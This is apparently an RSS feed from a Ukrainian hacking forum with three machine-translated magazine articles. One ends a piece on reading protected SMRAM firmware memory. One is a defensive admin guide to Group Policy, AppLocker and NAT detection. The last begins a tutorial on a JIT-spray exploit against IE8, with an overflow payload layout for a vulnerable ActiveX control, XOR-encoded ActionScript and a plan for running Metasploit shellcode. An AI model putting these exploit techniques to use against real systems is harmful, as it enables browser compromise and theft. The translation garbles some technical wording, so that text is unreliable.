						&lt;p&gt;Після виконання програми, якщо пам&#039;ять Extended SMRAM використовується і не заблокована, на диску з&#039;явиться файл ESMRAM.BIN, розміром від 1 до 8 Мегабайт. Розмір і вміст файлу залежать від того, як BIOS на цій платформі використовує ESMRAM.&lt;br /&gt;Якщо SMM Locked&lt;/p&gt;
						&lt;p&gt;Як було показано вище, якщо встановлений біт SMM Space Locked (біт 4 регістра SMRAM Control Register), то встановити стан SMM Space Open і прочитати вміст Extended SMRAM неможливо. Програмно обнулити біт SMM Space Locked також неможливо, він обнуляється тільки при апаратній скиданні. Чи можна обійти цей захист?&lt;/p&gt;
						&lt;p&gt;Один з варіантів - перепрограмування регістрів DRB (DRAM Row Boundary), за допомогою яких кожній фізичній банку пам&#039;яті присвоюється свій діапазон адрес. Подробиці в [1]. Таким чином, можна домогтися того, що регіон оперативної пам&#039;яті, що містить SMRAM &amp;quot;з&#039;явиться&amp;quot; в такому регіоні адресного простору, який не захищений логікою підтримки SMM. Але зробити це досить складно через численні побічні ефекти, так як все, що знаходиться в оперативній пам&#039;яті, включаючи ОС, програми та саму програму, що виконує цю операцію, буде спотворено на час &amp;quot;зміненого стану чіпсета&amp;quot;, а можливо і після відновлення вихідного стану. Звичайно, наша програма може, наприклад, переписати себе у відео пам&#039;ять або заблокуватися в кеш-пам&#039;яті і таким чином пережити збій оперативної пам&#039;яті. Автор планує описати таку процедуру в наступних публікаціях ...&lt;br /&gt;Джерела інформації&lt;br /&gt;Електронні документи, доступні на сайті developer.intel.com.&lt;/p&gt;
						&lt;p&gt;1) Intel P965 Express Chipset Family Datasheet - For the Intel 82P965 Memory Controller Hub (MCH). Document Number: 313053-001.&lt;br /&gt;2) Intel I / O Controller Hub 8 (ICH8) Family Datasheet - For the Intel 82801HB ICH8 and 82801HR ICH8R I / O Controller Hubs. Document Number: 313056-001.&lt;br /&gt;3) Intel Core 2 Extreme Processor X6800 and Intel Core2 Duo Desktop Processor E6000 and E4000 Sequences Datasheet. Document Number: 313278-004.&lt;br /&gt;4) Intel Core i7 Processor Extreme Edition and Intel Core i7 Processor Datasheet, Volume 1. Document Number: 320834-001.&lt;br /&gt;5) Intel Core i7 Processor Extreme Edition and Intel Core i7 Processor Datasheet, Volume 2. Document Number: 320835-002.&lt;br /&gt;Електронні документи, доступні на сайті developer.amd.com.&lt;/p&gt;
						&lt;p&gt;6) BIOS and Kernel Developer&#039;s Guide for AMD NPT Family 0Fh Processors. Publication No. 32559.&lt;br /&gt;7) BIOS and Kernel Developer&#039;s Guide (BKDG) for AMD Family 10h Processors. Publication No. 31116.&lt;br /&gt;8) AMD Functional Data Sheet, 754 Pin Package. Publication # 31410.&lt;br /&gt;9) AMD Functional Data Sheet, 939 Pin Package. Publication # 31411.&lt;br /&gt;10) AMD Functional Data Sheet, 940 Pin Package. Publication # 31412.&lt;br /&gt;Електронні документи, доступні на сайті wwwhypertransport.org.&lt;/p&gt;
						&lt;p&gt;11) HyperTransport I / O Link Specification. Revision 3.00. Document # HTC20051222-0046-0008.&lt;br /&gt;Електронні документи, доступні на сайті datasheetarchive.com.&lt;/p&gt;
						&lt;p&gt;(Інформація на даному сайті більш повна, ніж на &amp;quot;рідних&amp;quot; сайтах виробників зазначених мікросхем.)&lt;br /&gt;12) VIA P4X400 Chipset. VT8754 Single-Chip North Bridge. Для пошуку документа набирати рядок &amp;quot;P4X400&amp;quot;, &amp;quot;P4X533&amp;quot; або &amp;quot;VT8754&amp;quot;.&lt;br /&gt;Електронні документи, доступні на сайті pcisig.com.&lt;/p&gt;
						&lt;p&gt;Документи [14], [15] на сайті pcisig.com доступні тільки для членів PCI Special Interest Group. Скориставшись пошуковими системами, можна знайти дані документи для вільного завантаження.&lt;br /&gt;13) PCI BIOS Specification. Revision 2.1.&lt;br /&gt;14) PCI Local Bus Specification. Revision 3.0.&lt;br /&gt;15) PCI-to-PCI Bridge Architecture Specification. Revision 1.1.&lt;br /&gt;Книги&lt;/p&gt;
						&lt;p&gt;16) В.Л. Григор&#039;єв. Мікропроцесор i486. Архітектура та програмування. Москва ТОО &amp;quot;ГРАНАЛ&amp;quot; 1993.&lt;br /&gt;17) М. Гук. Апаратні засоби IBM PC. Енциклопедія. Санкт-Петербург, видавництво &amp;quot;Пітер&amp;quot; 2006.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:31:40 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=31#p31</guid>
		</item>
		<item>
			<title>На короткому повідку: обмежуємо користувачів, вистежує порушників</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=30#p30</link>
			<description>&lt;p&gt;У будь-якій організації є юзверя, які намагаються використовувати ресурси Мережі в своїх цілях. У результаті, незважаючи на встановлені антивіруси і брандмауери, клієнтські системи починають кішіть вірусами, троянами, малварью і лівими програмами, періодично викликають збої в роботі Windows. Та й начальство вимагає прибрати зайве з компів (ігри, чати, посібники для навчання), контролювати використання трафіку і встановити заборону на підключення флешок. Природно, клопоти з розрулювання ситуацій лягають на плечі адміна.&lt;br /&gt;Групові політики&lt;/p&gt;
						&lt;p&gt;Групові політики (GPO) - зручний і функціональний інструмент, що дозволяє управляти настройками безпеки Windows. З його допомогою можна налаштувати досить багато параметрів ОС. На жаль, більша їх частина бідно описана в літературі, і початківці адміни часто навіть не знають про те, який потенціал у них в руках. До того ж, групові політики постійно розвиваються, і в нових версіях ОС (а також сервіс-паках) GPO отримують нові функції. Дізнатися відмінності і доступні параметри досить просто, - скачай з сайту Microsoft cписок &amp;quot;Group Policy Settings Reference&amp;quot; для використовуваної операційки.&lt;/p&gt;
						&lt;p&gt;У Win2k8 управління GPO здійснюється за допомогою консолі Group Policy Management Console (GPMC.msc) 2.0. Установки безпеки виробляються в гілці &amp;quot;Конфігурація комп&#039;ютера - Конфігурація Windows - Параметри безпеки&amp;quot; (Computer Configuration - Windows Settings - Security Settings). Тут досить багато налаштувань, за допомогою яких можна визначити політики паролів, задати блокування облікового запису, призначити права доступу, встановити порядок аудиту, політики реєстру, файлової системи, NAP, IP-безпеки і багато іншого. Розберемо найцікавіші з них.&lt;/p&gt;
						&lt;p&gt;Вибираємо в консолі групу політик &amp;quot;Призначення прав користувача&amp;quot;. Політика &amp;quot;Архівація файлів і каталогів&amp;quot; дозволяє ігнорувати дозволу файлів при операціях резервного копіювання. Слід чітко визначитися, хто буде входити в таку групу, тому що права на створення резервних копій, надані кому попало, можуть призвести до витоку корпоративних даних. Політика &amp;quot;Завантаження і вивантаження драйверів пристроїв&amp;quot; (Load and Unload Device) дозволяє встановлювати драйвера після налаштування системи; тут краще залишити у списку тільки адміністраторів, щоб користувачі не могли самостійно підключати сторонні девайси. Дозволивши &amp;quot;Налагодження програм&amp;quot;, ми надамо користувачеві можливість підключати відладчик до будь-якого процесу або ядра, а ти сам розумієш, який це ризик. За замовчуванням сюди входить тільки група адміністраторів, але в організаціях, які займаються розробкою ПЗ, хочеш не хочеш, а таке право давати доведеться. Відповідно, потрібно відстежувати легітимність його застосування.&lt;/p&gt;
						&lt;p&gt;Особливу увагу приділи політикам у групі &amp;quot;Параметри безпеки&amp;quot;, де багато корисних пунктів. Наприклад, ми можемо: відключити можливість анонімного доступу до мережевих ресурсів, перейменувати обліковий запис гостя (якщо така використовується і необхідна). У політиків, які починаються з &amp;quot;Пристрої&amp;quot;, одним клацанням мишки можна заблокувати можливість підключення та форматування змінних пристроїв, дискет, компакт-дисків і зовнішніх хардів. Вперше політики блокування змінних пристроїв з&#039;явилися в Vista і Win2k8. Раніше для цих цілей доводилося використовувати програми сторонніх розробників на кшталт DeviceLock. У цій же вкладці дозволяємо або забороняємо підключення принтера вибраної групи користувачів.&lt;br /&gt;Політики обмеженого використання програм&lt;/p&gt;
						&lt;p&gt;Однією з найважливіших в контексті статті буде група об&#039;єктів GPO &amp;quot;Політики обмеженого використання програм&amp;quot; (Software Restriction Policies, SRP). Тут настроюються обмеження запуску додатків на комп&#039;ютерах, починаючи з WinXP і вище. Принцип налаштувань збігається з налаштуваннями правил файрвола: адміністратор вказує перелік програм, які дозволено запускати на системах організації, а для решти ставить заборону. Або поступає навпаки: дозволяє все, а потім у міру необхідності блокує, що не потрібно. Тут кожен адмін вибирає, як йому зручніше. Рекомендується створити окремий об&#039;єкт GPO для SRP, щоб завжди була можливість відкотити зміни при необхідності або виникненні проблем із запуском потрібних застосувань.&lt;/p&gt;
						&lt;p&gt;За замовчуванням SRP відключені. Щоб їх активувати, слід перейти у вкладку &amp;quot;Політики обмеженого використання програм&amp;quot; (в &amp;quot;Конфігурація комп&#039;ютера&amp;quot; і &amp;quot;Конфігурація користувача&amp;quot; є свої пункти) і вибрати в контекстному меню &amp;quot;Створити політику обмеженого використання програм&amp;quot; (New Software Restriction Policies). За умовчанням встановлений рівень безпеки &amp;quot;Необмежений&amp;quot; (Unrestricted), тобто доступ програм до ресурсів визначається NTFS правами користувача. Дозволено запуск будь-яких додатків, крім зазначених як заборонені. Щоб змінити рівень, потрібно перейти в підпапку &amp;quot;Рівні безпеки&amp;quot;, де знаходяться пункти активації ще двох політик - &amp;quot;Заборонено&amp;quot; (Disallowed), при якій виникає відмова в запуску будь-яких додатків, крім явно дозволених адміном. Політика &amp;quot;Звичайний користувач&amp;quot; (Basic User), що з&#039;явилася в GPO, починаючи з Vista, дозволяє задати програми, які будуть звертатися до ресурсів з правами звичайного користувача, незалежно від того, хто їх запустив.&lt;/p&gt;
						&lt;p&gt;В організації з підвищеними вимогами інформаційної безпеки краще самому визначити список дозволених програм, тому двічі клацаємо по &amp;quot;Заборонено&amp;quot; і у вікні натискаємо кнопку &amp;quot;Встановити за замовчуванням&amp;quot; (Set as Default). Інформація в вікні, що з&#039;явилося повідомить, що обраний рівень - більш суворий, і деякі програми можуть не працювати після його активації. Підтверджуємо зміни. Тепер переходимо в підпапку &amp;quot;Додаткові правила&amp;quot;. Після активації SRP створюються дві політики, що перекривають правила за замовчуванням і описують виключення для каталогів% SystemRoot% і% ProgramFilesDir%. Причому за замовчуванням політики для них встановлені в &amp;quot;Необмежений&amp;quot;. Тобто після активації політики &amp;quot;Заборонено&amp;quot; системні програми будуть запускатися в будь-якому випадку. У контекстному меню для тонкої настройки політик пропонується 4 пункти. З їх допомогою можна вказати: правило на шляху (шлях до каталогу, файлу або гілці реєстру), зони мережі (інтернет, довірена мережа і так далі), хеш (вказуємо окремий файл, за яким генерується хеш, що дозволяє визначити його однозначно, незалежно від дороги) та сертифікат видавця (наприклад, Microsoft, Adobe і т.п.). При цьому окрема політика має свій рівень безпеки, і легко можна заборонити виконання всіх файлів з каталогу, дозволивши запуск тільки окремих. Правила для хешу мають пріоритет перед іншими і найбільш універсальні. Щоправда, з урахуванням того, що хеш деяких системних програм (того ж Блокнота) буде відрізнятися в різних версіях ОС, до процесу генерування хешу краще підійти уважно.&lt;/p&gt;
						&lt;p&gt;Якщо клацнути по ярлику &amp;quot;Політики обмеженого використання програм&amp;quot;, отримаємо доступ ще до трьох налаштувань. Вибір політики &amp;quot;Застосування&amp;quot; (Enforcement) відкриє діалогове вікно, в якому вказуємо, чи застосовувати SRP для всіх файлів або виключити DLL (за замовчуванням). Враховуючи кількість DLL&#039;ок в системі, активація контролю всіх файлів вимагатиме додаткових ресурсів, тому кастомний варіант вибираємо, тільки коли це дійсно необхідно. За замовчуванням політики є актуальними для всіх користувачів без виключення, але в налаштуваннях пропонується зняти контроль за діяльністю локальних адмінів. У третьому полі активується підтримка правил сертифікатів. Такі політики також сповільнюють роботу системи і за замовчуванням вимкнено.&lt;/p&gt;
						&lt;p&gt;З допомогою політики &amp;quot;Призначені типи файлів&amp;quot; визначаються типи файлів, які вважаються виконуваними. У списку вже є всі популярні розширення, але якщо використовується щось своє, додаємо його / їх до переліку. І, нарешті, в &amp;quot;Довірені видавці&amp;quot; задаємо тих, хто може (користувач та / або адмін) додати підписану довіреною сертифікатом додаток, а також визначати справжність сертифікату. Для максимальної безпеки дозволь додавати програми лише адмінам доменного рівня.&lt;br /&gt;AppLocker&lt;/p&gt;
						&lt;p&gt;За кілька років існування технологія SRP так і не змогла завоювати популярність, адже, як ти міг переконатися з попереднього розділу, точно налаштувати політики - не така вже й просте завдання. Максимум, на що зазвичай вистачало адміна, - заборона окремих програм і іграшок. У Win7/Win2k8R2 було представлено логічне продовження SRP - AppLocker. Втім, сам SRP нікуди не подівся, залишений в цілях сумісності. На відміну від SRP, Applocker працює не в призначеному для користувача оточенні, а в системному: встановлюються політики більш ефективні.&lt;/p&gt;
						&lt;p&gt;Установки AppLocker знаходяться у вкладці Security Settings (secpol.msc) - Application Сontrol Policies. Якщо розкрити дерево, то побачимо три підпункти, в яких настроюються політики відповідно до типів файлів:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Executable Rules - правила для файлів з розширенням exe, com і src;&lt;br /&gt;&amp;#160; &amp;#160; * Windows Installer Rules - правила для msi і msp файлів;&lt;br /&gt;&amp;#160; &amp;#160; * Script Rules - правила для bat, cmd, js, ps1 і vbs скриптів.&lt;/p&gt;
						&lt;p&gt;За замовчуванням використовується політика Default, робота якої грунтується на установці GPO. Але для кожного типу правил можна вибрати ще одну з двох політик:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Enforced - політики активні, і все, що не описано в правилах, блокується;&lt;br /&gt;&amp;#160; &amp;#160; * Audit Only - режим аудиту, всі події, для яких створені правила, замість блокування заносяться в журнал. Корисний при знайомстві і початковою налагодження роботи AppLocker.&lt;/p&gt;
						&lt;p&gt;Для активації потрібного варіанту переходимо у вкладку &amp;quot;Enforcement&amp;quot; вікна властивостей AppLocker. Перейшовши в &amp;quot;Advanced&amp;quot; і встановивши прапорець &amp;quot;Enable DLL rule collection&amp;quot;, можна активувати перевірку DLL. Як і у випадку з SRP, перевірка зажадає додаткових системних ресурсів. За замовчуванням правил немає, тому обмеження на запуск програм не накладаються (крім прав NTFS, природно), і на відміну від SRP, рулесети потрібно створити самому. Цей процес в AppLocker виглядає дещо простіше. Контекстне меню пропонує для цього три варіанти:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Create New Rule - за допомогою візарду створюються правила для видавця (Publisher), шляху (Path, каталог або файл) і хешу (File Hash);&lt;br /&gt;&amp;#160; &amp;#160; * Automatically generate Rules - тут просто вказуємо на каталог, в якому знаходяться встановлені проги, і майстер автоматично створює правила (Path / Hash) для всіх виконуваних файлів всередині;&lt;br /&gt;&amp;#160; &amp;#160; * Create Default Rules - створюється набір правил за замовчуванням.&lt;/p&gt;
						&lt;p&gt;При виборі останнього пункту будуть створені дозволяють правила для запуску додатків з каталогів Windows (% WINDIR%) і Program Files (% PROGRAMFILES%); користувачі, що входять до групи локальних адміністраторів (BUILTIN \ Administrator), обмежень по запуску не мають. Після того, як перші правила в категорії сформовані і обраний варіант Enforced, запуск додатків можливий тільки в тому випадку, якщо він дозволений політикою. У подальшому коригуємо наявні правила і створюємо нові. Щоб відредагувати правило, викликаємо його властивості і міняємо: облікові записи та групи, які потрапляють під політику, шлях до каталогу чи файлу, дію (Action) блокувати або дозволити. Використання облікових записів і груп в правилах AppLocker групи досить зручно, тому що можна створити групу користувачів, яким дозволений запуск офісних додатків, групу &amp;quot;інтернетчиків&amp;quot; і так далі, і потім включати в них окремих користувачів.&lt;/p&gt;
						&lt;p&gt;Установки у вкладці Exceptions дозволяють задати виключення для окремих об&#039;єктів. Натиснувши кнопку Add, вказуємо окремий файл, хеш або видавця, які не будуть підпадати під дію редагованої політики. Так можна досить тонко вказати дозволу для великої кількості файлів.&lt;/p&gt;
						&lt;p&gt;Так, і як ти, напевно, помітив, можливість налаштування правила для зони мережі в AppLocker відсутня.&lt;/p&gt;
						&lt;p&gt;Після доведення Default Rules приступаємо до створення індивідуальних політик. Для чого вибором Create New Rule запускаємо майстер і в покроковому режимі виробляємо потрібні налаштування. Перше вікно пропускаємо, у другому задаємо дію Allow / Deny і вказуємо користувача або групу, для яких буде діяти політика. Далі вибираємо тип політики Publisher / Path / File Hash і, залежно від виробленого вибору, відзначаємо об&#039;єкт. При визначенні шляху AppLocker використовує змінні. Тобто, якщо вказати в Провіднику C: \ soft, шлях буде перетворений до виду% OSDrive% \ soft \ *. Крім того, можливі такі змінні:% WINDIR%,% SYSTEM32%,% PROGRAMFILES%,% REMOVABLE% (CD / DVD) та% HOT% (USB-пристрої). Причому особливо наголошується, що це внутрішні змінні AppLocker, а не системні, хоча деякі назви збігаються.&lt;/p&gt;
						&lt;p&gt;Політики створені, але щоб вони застосовувалися, потрібно запустити службу Application Identity (AppIDSvc). Робиться це через консоль Services (services.msc) або в редакторі групових політик (Security Settings -&amp;gt; System Services). Після змін оновлюємо політики:&lt;/p&gt;
						&lt;p&gt;&amp;gt; Gpupdate / force&lt;/p&gt;
						&lt;p&gt;Ще один метод контролю за встановленим ПЗ і підключеними девайсами - використання спеціальних програм інвентаризації (наприклад, SCCM, про який йшлося в статтях &amp;quot;Начальник мережі&amp;quot; та &amp;quot;Зброя масового управління&amp;quot;, опублікованих відповідно в серпневому і вересневому номерах] [за 2009 рік). Також не забуваємо про службу &amp;quot;Управління додатками&amp;quot; (AppMgmt), відключивши яку, ми блокуємо можливість встановлення ПЗ.&lt;br /&gt;Боротьба з NAT&#039;ом&lt;/p&gt;
						&lt;p&gt;З &amp;quot;халявним&amp;quot; Інтернетом на роботі у багатьох користувачів з&#039;являється спокуса використовувати його у своїх цілях. Звичайно, часи, коли до системного блоку підключався модем і через нього виходили в інтернет, практично канули в лету (для деяких провінційних міст це все ще актуально), але менеджери часом беруть роботу додому, а доступ до потрібної інфе намагаються отримати за допомогою діалапа. Якщо ж офіс знаходиться в житловому будинку, то співробітники-ентузіасти можуть розгорнути WiFi і роздавати сусідам трафік. У будь-якому випадку халява приваблює любителів, і залишається дивуватися, як народ на вигадки мастак. Крім поцупленими трафіку, користувач ставить під удар безпеку всієї мережі, адже через такий чорний хід запросто можуть проникнути віруси, трояни та інша зараза (+ може бути викрадена конфіденційна інформація).&lt;/p&gt;
						&lt;p&gt;Методів виявлення роботи клієнтів з-за NAT достатньо - контроль TTL, аналіз ідентифікатора IP-пакета і діапазону TCP / UDP портів і так далі (докладніше про методи виявлення NAT читай в статті Кріса &amp;quot;Полювання на мережевих партизан&amp;quot; в] [# 111). Ми ж розберемо практичну реалізацію. Інструментом номер один тут є Wireshark - мультиплатформовий (Windows, Linux, xBSD, Solaris, Mac OS X і т.д.) сніфер і аналізатор в одному флаконі. Можливість використання фільтрів і сортування робить цю програму дуже зручною для вирішення багатьох завдань: контроль певного типу трафіку (аська, мережеві ігри, проги для віддаленого доступу і так далі), пошук проблем в мережі і аналіз безпеки.&lt;/p&gt;
						&lt;p&gt;Для визначення роботи через NAT нас цікавить можливість контролю TTL (час життя) IP-пакету. Потрібно враховувати, що кожна ОС і версії використовують своє значення TTL, наприклад, всі версії Windows - 128, Linux - 64 (максимально 255), а при проходженні пакета на кожному роутері віднімається одиниця. Тобто, якщо отримуємо пакет з TTL 63 або 127 (або менше), це може свідчити про наявність NAT (віртуальні машини також працюють через NAT). Відкриваємо список фільтрів і в &amp;quot;IP only&amp;quot; встановлюємо значення поля ip.ttl в вилов всіх пакетів, TTL яких менше 64 або 128. Програма має достатній набір для аналізу, тому можна захопити трафік з мінімальними обмеженнями, а потім переглянути, що попалося в мережі, і в подальшому уточнювати налаштування фільтрів.&lt;/p&gt;
						&lt;p&gt;Крім графічного інтерфейсу, можливий запуск Wireshark в командою рядку. Дивимося список мережевих інтерфейсів по команді &amp;quot;tshark-D&amp;quot;, а потім виловлюємо значення поля TTL в проходять пакетах.&lt;/p&gt;
						&lt;p&gt;&amp;gt; Tshark-i 1-e ip.ttl-Tfields&lt;/p&gt;
						&lt;p&gt;Підтримуються tcpdump-подібні правила, тому можна просто вважати значення потрібного поля IP (ip [8] &amp;lt;64, поле TTL знаходиться у 8-му байті IP-заголовка).&lt;/p&gt;
						&lt;p&gt;Хорошою альтернативою Wireshark є BWMeter (desksoft.com / BWMeter.htm), що поєднує в собі функції файрвола і монітора трафіку, з можливістю побудови різного роду графіків. Система фільтрів дозволяє задати будь-яке правило і потім відстежувати всі пакети, які під нього потрапляють.&lt;/p&gt;
						&lt;p&gt;До цього списку можна додати практично всі файрволи, що зустрінеш в корпоративній мережі: Kerio WinRoute (докладніше про нього читай в статті &amp;quot;Марш-кидок у велику мережу&amp;quot;, опублікованій у вересневому номері] [за 2007 рік), UserGate Proxy &amp;amp; Firewall (&amp;quot; Сторож для локальної мережі &amp;quot;, липневий] [за 2009 рік), ISA Server / Forefront TMG (&amp;quot; Форпост для захисту периметра &amp;quot;, листопадовий] [за 2009 рік) та інші, які також мають все необхідне для аналізу та блокування трафіку.&lt;/p&gt;
						&lt;p&gt;Крім того, не забуваємо проводити періодичне сканування мережі за допомогою Nmap і порівнювати результати з звітами раніше зроблених сканів. У разі виявлення змін у списку відкритих портів виробляємо розслідування. Це дозволить виявити лазівки, залишені троянцями, проксі-сервери, деякі запущені гри і так далі.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:30:40 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=30#p30</guid>
		</item>
		<item>
			<title>JIT Spray проти IE8: пишемо власний JIT-експлойт</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=29#p29</link>
			<description>&lt;p&gt;Сьогодні ми розберемося з новітньою методикою подолання hardware DEP і ASLR для IE8 - JIT Spray. Розробимо простий прототип експлойта, а також свій власний JIT-шеллкод.&lt;br /&gt;Як все починалося&lt;/p&gt;
						&lt;p&gt;До недавнього часу вважалося, що ASLR + DEP і браузер IE8 - неприступна фортеця. Знаменитий експлойт Aurora, який застосовувався для атак на Google, використовував узявімості браузера IE, але працював тільки під IE6/IE7. Однак дослідники не збиралися миритися з цим, і на початку лютого 2010 року на конференції BlackHat DC 2010 були представлені техніки, які успішно обходять ASLR, DEP і працюють з IE8. На жаль, дослідники багато приховали, зокрема не відкрили ні повноцінних прикладів шеллкода, ні повних вихідних кодів. Але їх матеріалу достатньо, щоб будь-який просунута людина міг зібрати свій експлойт. Так Immunity у своєму платному продукті Canvas реалізувала ці техніки для знаменитого експлойта Aurora і тепер він успішно працює для IE8 під Windows 7. Упевнений, що багато Дуже-Чорні-Капелюхи, також взяли на озброєння ці методи для своїх брудних цілей. Так що будемо усі реалізовувати самостійно.&lt;br /&gt;Previously on] [&lt;/p&gt;
						&lt;p&gt;У минулих номерах] [, я розповідав як шукати уразливості, писати свої експлойти і навіть обходити hardware DEP. Ця стаття буде висновком трилогії про атаки на браузери. Як приклад уразливості я візьму той же компонент ActiveX, що і в попередніх своїх статтях - мені здається, що це буде вкрай показово. Нагадаю, що ми використовуємо ActiveX emsmtp.dll з пакету QuikSoft EasyMail. У даному об&#039;єкті є кілька вразливих функцій - ми використовуємо SubmitToExpress (). Якщо передати в якості аргументу рядок довжиною більше 256 байт, то відбудеться переповнення буферу в стеці, при цьому ми захоплюємо регістр ESI, адреса повернення і дескриптор SEH.&lt;/p&gt;
						&lt;p&gt;cccc ... 260 ... ccccAAAAffffBBBBffffffffffffffffffffffffffffffffDDDD&lt;br /&gt;ESI = AAAA&lt;br /&gt;RET = BBBB&lt;br /&gt;SEH = DDDD&lt;br /&gt;IE8 - хакери не пройдуть!&lt;/p&gt;
						&lt;p&gt;Поставимо свіжий IE8 і включимо hardware DEP. Тепер ми повинні відчувати себе в цілковитій безпеці. Спробуємо запустити експлойт з попереднього номера, який відключає DEP для процесу iexplore. Нас чекає моментальне розчарування - Heap Spray більше не працює. Просто ось так от. Але не потрібно сліз, адже працювати з купою може не тільки IE. У нас же є Flash, і він досить непогано вміє працювати з купою. Однак, цього мало. Виникає друга проблема - не можна відключити DEP для процесу. Справа в тому, що IE8 використовує permanent DEP. Тобто процес сам встановлює собі DEP за допомогою виклику функції SetProcessDEPPolicy, яка в свою чергу викликає NtSetInformationProcess. Наш експлойт аналогічно намагається відключити DEP. Але повторний виклик NtSetInformationProcess буде завершено невдачею - Access Denied. Додамо сюди ще й захист ASLR, тобто той факт, що адреси функцій у пам&#039;яті нам невідомі. Завдання ускладнюється ще в 256 разів.&lt;br /&gt;JIT Spray поспішає на допомогу&lt;/p&gt;
						&lt;p&gt;Світ не без добрих людей. Один з них - Діоніс Блазакіс (Dionysus Blazakis) прийшов на конференцію BlackHat DC 2010 і розповів, як він обійшов захист DEP і ASLR і таки домігся виконання свого шеллкода в контексті IE8. Після цієї розповіді він виклав на своєму веб-сайті документ, який детально описує, як цього домогтися. Що ж, спробуємо розібратися ...&lt;/p&gt;
						&lt;p&gt;Отже, питання номер один - як обійти permanent DEP? Діон пропонує скористатися будь-яким JIT-компілятором, яких в браузері достатньо. Сам він активно пропагує JIT-компілятор для байткода ActionScript. Суть ідеї наступна - ми пишемо AS код, компілюємо його в байткод і засовуємо в SWF-файл. Flash вантажить цей файл, а вбудована віртуальна машина переробляє байткод у здійснимих код і поміщає його в пам&#039;яті процесу IE8. Природно, область пам&#039;яті, де лежить код, позначена як співається. Адже Flash повинен виконати той код, що програміст написав. Якщо хакер в якості адреси повернення вкаже адресу цієї області пам&#039;яті, то код спокійно виконається. Однак, код цей необразливий. У ActionScript немає &amp;quot;злих&amp;quot; функцій, на зразок &amp;quot;відкрити мережевий порт і перенаправити введення з нього на cmd.exe&amp;quot;. А хакера тільки такі завдання і цікавлять.&lt;/p&gt;
						&lt;p&gt;Отже, припустимо у нас є код на ActionScript&#039;e&lt;/p&gt;
						&lt;p&gt;var ret = (0x3C909090 ^ 0x3C909090 ^ 0x3C909090 ^ 0x3C909090 ^ ...);&lt;/p&gt;
						&lt;p&gt;У пам&#039;яті він буде виглядати вже так:&lt;/p&gt;
						&lt;p&gt;0x1A1A0100: 359090903C XOR EAX, 3C909090&lt;br /&gt;0x1A1A0105: 359090903C XOR EAX, 3C909090&lt;br /&gt;0x1A1A010A: 359090903C XOR EAX, 3C909090&lt;br /&gt;0x1A1A010F: 359090903C XOR EAX, 3C909090&lt;/p&gt;
						&lt;p&gt;Впізнаєш? 0x35 - це команда XOR EAX, а далі аргумент - задом наперед. А якщо адреса повернення буде вказувати не на самий початок коду, а, припустимо, зрушить на один байт, тоді виконуваний код стане таким:&lt;/p&gt;
						&lt;p&gt;0x1A1A0101: 90 NOP&lt;br /&gt;0x1A1A0102: 90 NOP&lt;br /&gt;0x1A1A0103: 90 NOP&lt;br /&gt;0x1A1A0104: 3C35 CMP AL, 35&lt;br /&gt;0x1A1A0106: 90 NOP&lt;br /&gt;0x1A1A0107: 90 NOP&lt;br /&gt;0x1A1A0108: 90 NOP&lt;br /&gt;0x1A1A0109: 3C35 CMP, AL 35&lt;/p&gt;
						&lt;p&gt;0x3C - те, що було у нас аргументом, після зсуву стане CMP AL. При цьому, аргумент для порівняння - наш колишній XOR EAX - 0x35. Таким чином, легальний XOR з&#039;їдається, і йдуть тільки оператори NOP&#039;и і порівняння, що є теж семантичний NOP в даному контексті. Ось так ми можемо писати майже будь-який код, використовуючи лише аргументи &amp;quot;виключає або&amp;quot; в ActionScript&#039;е. Можна сюди просто запихати шеллкод.&lt;/p&gt;
						&lt;p&gt;Але ж ми не знаємо адресу, де буде цей блок пам&#039;яті з виконуваним кодом. Звідки нам знати, куди Flash його запіхнет? А якщо ще й ASLR, тоді взагалі нема про що говорити. Але Діон запропонував два варіанти. По-перше, можна відкрити дуже багато файлів з JIT-шеллкодом, тоді вийде аналог HeapSpray. Ми заповнимо пам&#039;ять нашим кодом, і тоді вгадати адресу стане дуже легко. Навіть якщо використовується ASLR, залишається ймовірність вгадування. Цей варіант практично 100% надійний на Windows XP SP3 і малонадежен, але працездатний на Windows 7. По-друге, можна скористатися витоками пам&#039;яті в ActionScript&#039;е для визначення реальної адреси в пам&#039;яті. Так як у мене XP SP3, то докладно розповім лише про першому способі. Тим не менше, другий спосіб ми також будемо використовувати, але небагато для інших цілей. Додам ще, що Діон для роботи використав компілятор Tamarin (входить до складу Flex SDK), я ж використав компілятор з набору SWFTOOLS.&lt;br /&gt;Шеллкод&lt;/p&gt;
						&lt;p&gt;Визначимо для початку, що ми хочемо від шеллкода: щоб він був універсальний, щоб можна було використовувати шеллкоди з MetaSploit, наприклад. Але це не зовсім тривіальна задача. У JIT-шеллкоде потрібно маскувати XOR EAX. У нас для роботи тільки три байти аргументу. Четвертий байт повинен маскувати XOR. Тому доведеться розробляти власний. В інтернеті матеріалу про це не було і немає жодного прикладу, та й сам Діоніс нічим, крім теорії, не поділився. Будемо робити все самі. Логіка, описана Діоном:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;1. Переносимо будь шеллкод (наприклад, з MetaSploit) у рядок ActionScript.&lt;br /&gt;&amp;#160; &amp;#160;2. Через витік пам&#039;яті дізнаємося покажчик на адресу рядки з шеллкодом.&lt;br /&gt;&amp;#160; &amp;#160;3. Виконуємо JIT-Spray. Впроваджуємо в пам&#039;ять JIT шеллкод.&lt;br /&gt;&amp;#160; &amp;#160;4. Передаємо управління на шеллкод з JIT-Spray.&lt;br /&gt;&amp;#160; &amp;#160;5. JIT шеллкод шукає адресу VirtualProtect.&lt;br /&gt;&amp;#160; &amp;#160;6. JIT шеллкод за допомогою VirtualProtect робить область пам&#039;яті з рядком виконуваної.&lt;br /&gt;&amp;#160; &amp;#160;7. JIT шеллкод передає управління на пам&#039;ять з рядком, в якій у нас шеллкод з MetaSploit.&lt;/p&gt;
